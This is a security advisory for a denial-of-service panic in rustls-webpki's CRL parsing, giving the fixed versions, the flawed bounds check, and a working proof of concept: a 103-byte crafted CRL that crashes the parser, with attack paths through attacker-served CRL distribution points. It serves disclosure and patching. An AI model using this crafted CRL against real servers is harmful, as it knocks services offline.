RUSTSEC-2026-0104 (CVE-2026-93599)

Vulnerability from osv_rustsec – Published: 2026-04-22 12:00 – Updated: 2026-09-19 08:42 – Source website

Summary

Reachable panic in certificate revocation list parsing

Details

A panic was reachable when parsing certificate revocation lists via [BorrowedCertRevocationList::from_der] or [OwnedCertRevocationList::from_der]. This was the result of mishandling a syntactically valid empty BIT STRING appearing in the onlySomeReasons element of a IssuingDistributionPoint CRL extension.

This panic is reachable prior to a CRL's signature being verified.

Applications that do not use CRLs are not affected.

Thank you to @tynus3 for the report.

Title

rustls-webpki before 0.103.13 Panic via empty BIT STRING

Summary

rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.

Vulnerability from github – Published: 2026-04-24 16:20 – Updated: 2026-04-24 16:20

Summary

rustls-webpki: Denial of service via panic on malformed CRL BIT STRING

Details

Summary

bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.

Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.

AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.

Details

bit_string_flags() in src/der.rs reads the content of named-bit BIT STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:

if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
    return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1];  // ← crash

misses the case padding_bits == 0 && raw_bits.is_empty(). When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes): - padding_bits = 0x00 — passes the > 7 check ✓ - raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false) - raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX - raw_bits[usize::MAX] → panic

Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615

Impact

Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence.
Attack paths:
- mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
- TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.

Severity

7.5 (High)

  "details": "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n\u003e **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits \u003e 7 || (raw_bits.is_empty() \u0026\u0026 padding_bits != 0) {\n    return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1];  // \u2190 crash\n```\nmisses the case `padding_bits == 0 \u0026\u0026 raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]`  (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 \u2014 passes the \u003e 7 check \u2713\n- raw_bits = [] \u2014 passes is_empty() \u0026\u0026 != 0 check \u2713 (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow \u2192 usize::MAX\n- raw_bits[usize::MAX] \u2192 panic\n\n\nDebug:   thread \u0027main\u0027 panicked: attempt to subtract with overflow\nRelease: thread \u0027main\u0027 panicked: index out of bounds: the len is 0\n         but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\"   # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n    let crl: \u0026[u8] = \u0026[\n        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x03, 0x02, 0x00, 0x00,\n    ];\n    // Panics \u2014 never returns\n    let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread \u0027main\u0027 panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10            -- cRLExtensions [0] EXPLICIT\n  30 0e          -- SEQUENCE OF Extension\n    30 0c        -- Extension SEQUENCE\n      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n      04 05            -- OCTET STRING (extnValue)\n        30 03          -- IssuingDistributionPoint SEQUENCE\n          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n                       --   padding_bits=0, data=[]  \u2190 TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n    - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs \u2014 common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker\u0027s CRL during the handshake and panics. No MITM required.\n    - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.",
